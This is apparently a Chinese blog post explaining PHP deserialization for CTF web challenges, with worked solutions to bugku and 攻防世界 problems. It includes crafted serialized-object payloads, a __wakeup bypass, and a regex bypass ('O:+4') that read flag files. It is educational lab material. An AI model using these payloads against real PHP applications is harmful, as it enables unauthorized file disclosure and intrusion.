CTF-WEB:PHP 反序列化

序列化与反序列化

magic 方法

PHP 的面向对象中包含一些魔术方法,这些方法在某种情况下会被自动调用。

magic 方法 功能
__construct() 类构造器
__destruct() 类的析构器
__sleep() 执行 serialize() 时,先会调用这个函数
__wakeup() 执行 unserialize() 时,先会调用这个函数
__toString() 类被当成字符串时的回应方法

serialize 和 unserialize 函数

在 PHP 中将对象、数组、变量等转化为字符串,这样便于将数据保存到数据库或者文件中,这个过程称之为序列化。当需要使用这些数据时,就需要用反序列化就是将字符串还原回原来的样子,也就是序列化的逆过程。PHP 提供了 serializeunserialize 函数来支持这 2 种操作,当 unserialize 函数的参数被用户控制时就会形成反序列化漏洞
下面来看看具体是什么操作,例如这是数组的序列化:

$a = array('张三','李四','王五');
$a_ser = serialize($a);
echo "$a_ser <br>";
print_r(unserialize($a_ser));

输出内容如下,其中 “a” 表示这是个数组,数组的每个元素的格式形如 “i:0;s:6:"张三";”,其中 “i” 表示 整型,“s” 表示字符串。

a:3:{i:0;s:6:"张三";i:1;s:6:"李四";i:2;s:6:"王五";} 

把以上内容反序列化之后的输出结果为:

Array
(
    [0] => 张三
    [1] => 李四
    [2] => 王五
)

接下来再看看一个对象的序列化和反序列化:

class a_object{
   public $id = 123;
}
$a = new a_object;
$a_ser=serialize($a);
echo $a_ser;
echo '<br>';
print_r(unserialize($a_ser));

输出结果如下,注意到类在序列化后的格式为“变量类型:类名长度(字节):类名:属性数量:{属性名类型:属性名长度:属性名:属性值类型:属性值长度:属性值内容}”。

O:8:"a_object":1:{s:2:"id";i:123;}
a_object Object
(
    [id] => 123
)

访问控制修饰符

根据类中字段的访问控制修饰符的不同,在序列化的时候的输出有所不同,例如:

class a_object{
   public $Id1 = 123;
   protected $Id2 = 123;
   private $Id3 = 123;
}
$a = new a_object;
$a_ser=serialize($a);
echo $a_ser;
echo '<br>';
print_r(unserialize($a_ser));

输出的内容如下,注意声明为 protected 的字段序列化格式为 “%00*%00属性名”,声明为 private 的字段序列化格式为 %00类名%00属性名

O:8:"a_object":3:{s:3:"Id1";i:123;s:6:"*Id2";i:123;s:13:"a_objectId3";i:123;}
a_object Object
(
    [Id1] => 123
    [Id2:protected] => 123
    [Id3:a_object:private] => 123
)

绕过 __wakeup()

由于 __wakeup() 函数在执行 unserialize() 时,先会调用这个函数,有时候这个函数中的代码会影响反序列化的利用。因此如果遇到 __wakeup() 函数就要先绕过,绕过方法是令对象属性个数的值大于真实个数的属性。例如:

O:8:"a_object":4:{s:3:"Id1";i:123;s:6:"*Id2";i:123;s:13:"a_objectId3";i:123;}

例题:bugku-flag.php

打开题目flag.php,这是一个完全没有反应的登录页面。

根据提示用 GET 方法传递个 hint 参数,参数值随便(我觉得这个点毫无意义),得到题目的 PHP 源码。

源码中有 3 个部分,其中第二部分是我们看到的页面的源码,第三部分无意义,因此我们着重分析第一部分。

<?php 
error_reporting(0);      //关闭错误报告
include_once("flag.php");       //执行期间包含并运行指定文件 flag.php
$cookie = $_COOKIE['ISecer'];       //$_COOKIE 变量在 ISecer 取回 cookie 的值
if(isset($_GET['hint'])){
    show_source(__FILE__); 
} 
elseif (unserialize($cookie) === "$KEY") 
{    
    echo "$flag"; 
} 
else { 
?> 

这段代码会取回 cookie 的值,unserialize 函数是对单一的已序列化的变量进行操作,将其转换回 PHP 的值。也就是说 unserialize 函数出现的地方是解题的关键,如果变量 $cookie 反序列化的结果和 $KEY 变量完全相同,就会显示 flag。因此我们需要传递一个名为 ISecer 的 cookie,里面的值应该是 $KEY 变量序列化后的结果。
注意这个时候我们并没有定义名为 KEY 的变量,因此这个变量的值应该是 NULL,此时可以直接写个简单的脚本看看序列化的结果是啥:

<?php 
echo serialize("$KEY");  
?>

可以得到 NULL 序列化后为“s:0:"";”,注意此时分号不可省略,但是提交时会被忽略,需要使用分号的 URL 编码 “%3b”来替代。此时可以直接用 HackBar 提交 cookie,也可以用 Burp 改 Cookie 字段提交获得 flag。

例题:JMU PHP 反序列化

打开网页,看到一段 PHP 代码,看一下有哪些关键信息。首先是 flag 所在的位置,注释写了在 flag.php,观察到传入的参数是 s。

接下来根据提示,函数 __desteuct() 能够在当一个对象被销毁时自动执行对应的代码,代码中有一个 readfile() 函数可以读取信息。现在要传入一个对象,这个对象会被销毁从而触发 desteuct 函数,进而触发文件的输出。这个时候因为有反序列化函数 unserialize() 会把一个序列化的对象销毁掉,可以用这个函数来触发。

此时就是要去构造一个序列化好的对象,这时注意到提示,这个对象的变量是私有变量,使用脚本生成序列化的对象。

根据私有变量的特点完善一下,构造 payload 传入,之后打开 F12 查看 flag。

?s=O:6:"sercet":1:{s:12:"%00sercet%00file";s:8:"flag.php";}

例题:bugku-welcome to bugkuctf

之前我们得到了 hint.php 的源码,注意到其实还有个 index.php 文件,把 hint.php 替换为 index.php 后使用同样的方法得到它的 base64 编码。

<?php
$txt = $_GET["txt"];
$file = $_GET["file"];
$password = $_GET["password"];

if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){
    echo "hello friend!<br>";
    if(preg_match("/flag/",$file)){
        echo "不能现在就给你flag哦";
        exit();
    }
    else{
        include($file);
        $password = unserialize($password);
        echo $password;
    }
}
else{
    echo "you are not the number of bugku ! ";
}

?>

这里我们注意到使用了 unserialize() 函数,这时候考虑使用 PHP 反序列化。源码通过 preg_match() 匹配了 flag 关键字,也是说无法在 index.php 中输出 flag.php 的内容。这里的关键在于 hint.php 中的 Flag 类,类中定义的 tostring() 方法会输出文件的内容。

<?php

class Flag{//flag.php
    public $file;
    public function __tostring(){
        if(isset($this->file)){
            echo file_get_contents($this->file);
            echo "<br>";
        return ("good");
        }
    }
}
?>

结合 password 参数我们还没使用,可以构造 Flag 类的序列化传给 password,然后在反序列化时自动调用 tostring() 查看文件。可以写一段简单的 PHP 脚本得到 Flag 对象的序列化:

<?php
    class Flag{  
        public $file;  
    }  
 
    $a = new Flag();
    $a->file = "flag.php";
    print_r(serialize($a));
?>

在最后将 password 变量的值赋为 Flag 对象的序列化传入,终于得到 flag。

?password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

例题:攻防世界-unserialize3

打开网页,看到源码如下,这是一个 xctf 对象定义,根据提示这是个 PHP 反序列化。

class xctf{ 
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=

由于 wakeup() 函数在执行 unserialize() 反序列化时会先调用,如果这个函数被调用就看不到 flag 了。因此需要绕过 wakeup() 函数,让对象数大于实际对象数就行。编写好对象序列化后的字符串后,传给 code 参数即可得到 flag。

O:4:"xctf":2:{s:4:"flag";s:3:"111";}

例题:攻防世界-Web_php_unserialize

打开网页,看到源码如下,这题很明显又是一道 PHP 反序列化。在 Demo 对象中有个 file 字段,根据默认值存储的应该是某个 PHP 文件名。

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}

if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } 
    else {
        @unserialize($var); 
    } 
} 
else { 
    highlight_file("index.php"); 
} 
?>

根据提示 flag 在文件 fl4g.php 中,因此我们先构造出 file 值为 fl4g.php 的 Demo 对象。

O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}

接下来我们看一下有没有什么地方需要绕过,观察到有个 preg_match() 函数进行正则匹配,如果匹配成功则不会输出 flag。“/[oc]:\d+:/i” 正则匹配的字符串,是在不区分大小写的情况下匹配 “o:数字” 或者 "c:数字’ 的字符串。也就是说,如果我们直接把上述字符串传上去,会被过滤掉,绕过的方式是使用 “4” 的同义表示方法 “+4”。同时还需要绕过 wakeup() 函数,让对象数大于实际对象数,修改后的字符串如下。

O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}

最后注意到还有个 base64_decode() 函数进行 base64 解码,也就是说我们传入的参数应该是使用 base64 加密过的字符串。最后构造 payload 传入,即可得到 flag。

index.php?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiRGVtb2ZpbGUiO3M6ODoiZmw0Zy5waHAiO30=

参考资料

CTF中的序列化与反序列化
web安全:反序列化(CTF中常见)
Bugku CTF 反序列化
CTF PHP反序列化

posted @ 2020-08-18 00:33  乌漆WhiteMoon  阅读(5966)  评论(0编辑  收藏  举报